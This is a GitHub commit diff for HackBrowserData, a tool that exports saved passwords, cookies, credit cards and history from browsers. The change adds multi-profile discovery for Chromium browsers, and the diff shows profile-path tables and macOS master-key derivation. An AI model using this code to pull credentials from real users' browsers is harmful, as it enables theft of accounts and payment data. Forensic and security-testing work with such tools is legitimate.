Skip to content

Commit 5526441

Browse files
authored
feat: support export multiple user from browser
Merge pull request #143 from moonD4rk/feat/multiple-user
2 parents b7821d4 + 511f71f commit 5526441

18 files changed

Lines changed: 119 additions & 87 deletions

File tree

cmd/hack-browser-data/main.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ func Execute() {
2929
Name: "hack-browser-data",
3030
Usage: "Export passwords/cookies/history/bookmarks from browser",
3131
UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\nExport all browingdata(password/cookie/history/bookmark) from browser\nGithub Link: https://github.com/moonD4rk/HackBrowserData",
32-
Version: "0.4.2",
32+
Version: "0.4.3",
3333
Flags: []cli.Flag{
3434
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
3535
&cli.BoolFlag{Name: "compress", Aliases: []string{"zip"}, Destination: &compress, Value: false, Usage: "compress result to zip"},

internal/browingdata/browsingdata.go

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,6 @@ func New(sources []item.Item) *Data {
3535
}
3636

3737
func (d *Data) Recovery(masterKey []byte) error {
38-
3938
for _, source := range d.sources {
4039
if err := source.Parse(masterKey); err != nil {
4140
log.Errorf("parse %s error %s", source.Name(), err.Error())
@@ -48,7 +47,6 @@ func (d *Data) Output(dir, browserName, flag string) {
4847
output := NewOutPutter(flag)
4948

5049
for _, source := range d.sources {
51-
5250
filename := fileutil.Filename(browserName, source.Name(), output.Ext())
5351

5452
f, err := output.CreateFile(dir, filename)

internal/browingdata/creditcard/creditcard.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,7 @@ func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
7171
}
7272
return nil
7373
}
74+
7475
func (c *ChromiumCreditCard) Name() string {
7576
return "creditcard"
7677
}
@@ -122,6 +123,7 @@ func (c *YandexCreditCard) Parse(masterKey []byte) error {
122123
}
123124
return nil
124125
}
126+
125127
func (c *YandexCreditCard) Name() string {
126128
return "creditcard"
127129
}

internal/browingdata/localstorage/localstorage.go

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ func (c *ChromiumLocalStorage) Parse(masterKey []byte) error {
4040
if len(value) > 1024*5 {
4141
continue
4242
}
43-
var s = new(storage)
43+
s := new(storage)
4444
s.fillKey(key)
4545
s.fillValue(value)
4646
// don't save meta data
@@ -114,13 +114,11 @@ func (f *FirefoxLocalStorage) Parse(masterKey []byte) error {
114114
}
115115
defer rows.Close()
116116
for rows.Next() {
117-
var (
118-
originKey, key, value string
119-
)
117+
var originKey, key, value string
120118
if err = rows.Scan(&originKey, &key, &value); err != nil {
121119
log.Warn(err)
122120
}
123-
var s = new(storage)
121+
s := new(storage)
124122
s.fillFirefox(originKey, key, value)
125123
*f = append(*f, *s)
126124
}

internal/browingdata/outputter.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ func (o *OutPutter) CreateFile(dir, filename string) (*os.File, error) {
5050

5151
if dir != "" {
5252
if _, err := os.Stat(dir); os.IsNotExist(err) {
53-
err := os.MkdirAll(dir, 0777)
53+
err := os.MkdirAll(dir, 0o777)
5454
if err != nil {
5555
return nil, err
5656
}
@@ -60,7 +60,7 @@ func (o *OutPutter) CreateFile(dir, filename string) (*os.File, error) {
6060
var file *os.File
6161
var err error
6262
p := filepath.Join(dir, filename)
63-
file, err = os.OpenFile(p, os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
63+
file, err = os.OpenFile(p, os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o666)
6464
if err != nil {
6565
return nil, err
6666
}

internal/browingdata/password/password.go

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -229,9 +229,7 @@ func (f *FirefoxPassword) Name() string {
229229
}
230230

231231
func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) {
232-
var (
233-
keyDB *sql.DB
234-
)
232+
var keyDB *sql.DB
235233
keyDB, err = sql.Open("sqlite3", key4file)
236234
if err != nil {
237235
return nil, nil, nil, nil, err

internal/browser/browser.go

Lines changed: 14 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -46,9 +46,12 @@ func pickChromium(name, profile string) []Browser {
4646
log.Noticef("find browser %s failed, profile folder does not exist", v.name)
4747
continue
4848
}
49-
if b, err := chromium.New(v.name, v.storage, v.profilePath, v.items); err == nil {
50-
log.Noticef("find browser %s success", b.Name())
51-
browsers = append(browsers, b)
49+
if multiChromium, err := chromium.New(v.name, v.storage, v.profilePath, v.items); err == nil {
50+
log.Noticef("find browser %s success", v.name)
51+
for _, b := range multiChromium {
52+
log.Noticef("find browser %s success", b.Name())
53+
browsers = append(browsers, b)
54+
}
5255
} else {
5356
log.Errorf("new chromium error: %s", err.Error())
5457
}
@@ -61,12 +64,14 @@ func pickChromium(name, profile string) []Browser {
6164
if !fileutil.FolderExists(filepath.Clean(profile)) {
6265
log.Fatalf("find browser %s failed, profile folder does not exist", c.name)
6366
}
64-
b, err := chromium.New(c.name, c.storage, profile, c.items)
67+
chromiumList, err := chromium.New(c.name, c.storage, profile, c.items)
6568
if err != nil {
66-
log.Fatalf("new chromium error:", err)
69+
log.Fatalf("new chromium error: %s", err)
70+
}
71+
for _, b := range chromiumList {
72+
log.Noticef("find browser %s success", b.Name())
73+
browsers = append(browsers, b)
6774
}
68-
log.Noticef("find browser %s success", b.Name())
69-
browsers = append(browsers, b)
7075
}
7176
return browsers
7277
}
@@ -106,10 +111,8 @@ func ListBrowser() []string {
106111
return l
107112
}
108113

109-
var (
110-
// home dir path for all platforms
111-
homeDir, _ = os.UserHomeDir()
112-
)
114+
// home dir path for all platforms
115+
var homeDir, _ = os.UserHomeDir()
113116

114117
const (
115118
chromeName = "Chrome"

internal/browser/browser_windows.go

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ var (
1515
}{
1616
"chrome": {
1717
name: chromeName,
18-
profilePath: chromeProfilePath,
18+
profilePath: chromeUserDataPath,
1919
items: item.DefaultChromium,
2020
},
2121
"edge": {
@@ -25,12 +25,12 @@ var (
2525
},
2626
"chromium": {
2727
name: chromiumName,
28-
profilePath: chromiumProfilePath,
28+
profilePath: chromiumUserDataPath,
2929
items: item.DefaultChromium,
3030
},
3131
"chrome-beta": {
3232
name: chromeBetaName,
33-
profilePath: chromeBetaProfilePath,
33+
profilePath: chromeBetaUserDataPath,
3434
items: item.DefaultChromium,
3535
},
3636
"opera": {
@@ -89,18 +89,18 @@ var (
8989
)
9090

9191
var (
92-
chromeProfilePath = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/"
93-
chromeBetaProfilePath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/"
94-
chromiumProfilePath = homeDir + "/AppData/Local/Chromium/User Data/Default/"
95-
edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
96-
braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
97-
speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
98-
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
99-
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/Default/"
100-
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/Default/"
101-
vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
102-
coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
103-
yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
92+
chromeUserDataPath = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/"
93+
chromeBetaUserDataPath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/"
94+
chromiumUserDataPath = homeDir + "/AppData/Local/Chromium/User Data/Default/"
95+
edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
96+
braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
97+
speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
98+
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
99+
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/Default/"
100+
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
101+
vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
102+
coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
103+
yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
104104

105105
firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
106106
)

internal/browser/chromium/chromium.go

Lines changed: 54 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
package chromium
22

33
import (
4-
"os"
4+
"io/fs"
55
"path/filepath"
66
"strings"
77

@@ -21,19 +21,27 @@ type chromium struct {
2121
}
2222

2323
// New create instance of chromium browser, fill item's path if item is existed.
24-
func New(name, storage, profilePath string, items []item.Item) (*chromium, error) {
24+
func New(name, storage, profilePath string, items []item.Item) ([]*chromium, error) {
2525
c := &chromium{
26-
name: name,
27-
storage: storage,
26+
name: name,
27+
storage: storage,
28+
profilePath: profilePath,
29+
items: items,
2830
}
29-
itemsPaths, err := c.getItemPath(profilePath, items)
31+
multiItemPaths, err := c.getMultiItemPath(c.profilePath, c.items)
3032
if err != nil {
3133
return nil, err
3234
}
33-
c.profilePath = profilePath
34-
c.itemPaths = itemsPaths
35-
c.items = typeutil.Keys(itemsPaths)
36-
return c, err
35+
var chromiumList []*chromium
36+
for user, itemPaths := range multiItemPaths {
37+
chromiumList = append(chromiumList, &chromium{
38+
name: fileutil.BrowserName(name, user),
39+
items: typeutil.Keys(itemPaths),
40+
itemPaths: itemPaths,
41+
storage: storage,
42+
})
43+
}
44+
return chromiumList, nil
3745
}
3846

3947
func (c *chromium) Name() string {
@@ -81,28 +89,49 @@ func (c *chromium) copyItemToLocal() error {
8189
return nil
8290
}
8391

84-
func (c *chromium) getItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) {
85-
var itemPaths = make(map[item.Item]string)
92+
func (c *chromium) getMultiItemPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
93+
// multiItemPaths is a map of user to item path, map[profile 1][item's name & path key pair]
94+
multiItemPaths := make(map[string]map[item.Item]string)
8695
parentDir := fileutil.ParentDir(profilePath)
87-
baseDir := fileutil.BaseDir(profilePath)
88-
err := filepath.Walk(parentDir, chromiumWalkFunc(items, itemPaths, baseDir))
96+
err := filepath.Walk(parentDir, chromiumWalkFunc(items, multiItemPaths))
8997
if err != nil {
90-
return itemPaths, err
98+
return nil, err
99+
}
100+
var keyPath string
101+
var dir string
102+
for userDir, v := range multiItemPaths {
103+
for _, p := range v {
104+
if strings.HasSuffix(p, item.ChromiumKey.FileName()) {
105+
keyPath = p
106+
dir = userDir
107+
break
108+
}
109+
}
110+
}
111+
t := make(map[string]map[item.Item]string)
112+
for userDir, v := range multiItemPaths {
113+
if userDir == dir {
114+
continue
115+
}
116+
t[userDir] = v
117+
t[userDir][item.ChromiumKey] = keyPath
118+
fillLocalStoragePath(t[userDir], item.ChromiumLocalStorage)
91119
}
92-
fillLocalStoragePath(itemPaths, item.ChromiumLocalStorage)
93-
return itemPaths, nil
120+
return t, nil
94121
}
95122

96-
func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string, baseDir string) filepath.WalkFunc {
97-
return func(path string, info os.FileInfo, err error) error {
98-
for _, it := range items {
99-
switch {
100-
case it.FileName() == info.Name():
101-
if it == item.ChromiumKey {
102-
itemPaths[it] = path
123+
func chromiumWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
124+
return func(path string, info fs.FileInfo, err error) error {
125+
for _, v := range items {
126+
if info.Name() == v.FileName() {
127+
parentBaseDir := fileutil.ParentBaseDir(path)
128+
if parentBaseDir == "System Profile" {
129+
continue
103130
}
104-
if strings.Contains(path, baseDir) {
105-
itemPaths[it] = path
131+
if _, exist := multiItemPaths[parentBaseDir]; exist {
132+
multiItemPaths[parentBaseDir][v] = path
133+
} else {
134+
multiItemPaths[parentBaseDir] = map[item.Item]string{v: path}
106135
}
107136
}
108137
}

internal/browser/chromium/chromium_darwin.go

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
//go:build darwin
2+
13
package chromium
24

35
import (
@@ -46,7 +48,7 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
4648
if chromeSecret == nil {
4749
return nil, ErrWrongSecurityCommand
4850
}
49-
var chromeSalt = []byte("saltysalt")
51+
chromeSalt := []byte("saltysalt")
5052
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
5153
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
5254
if key == nil {

0 commit comments

Comments
 (0)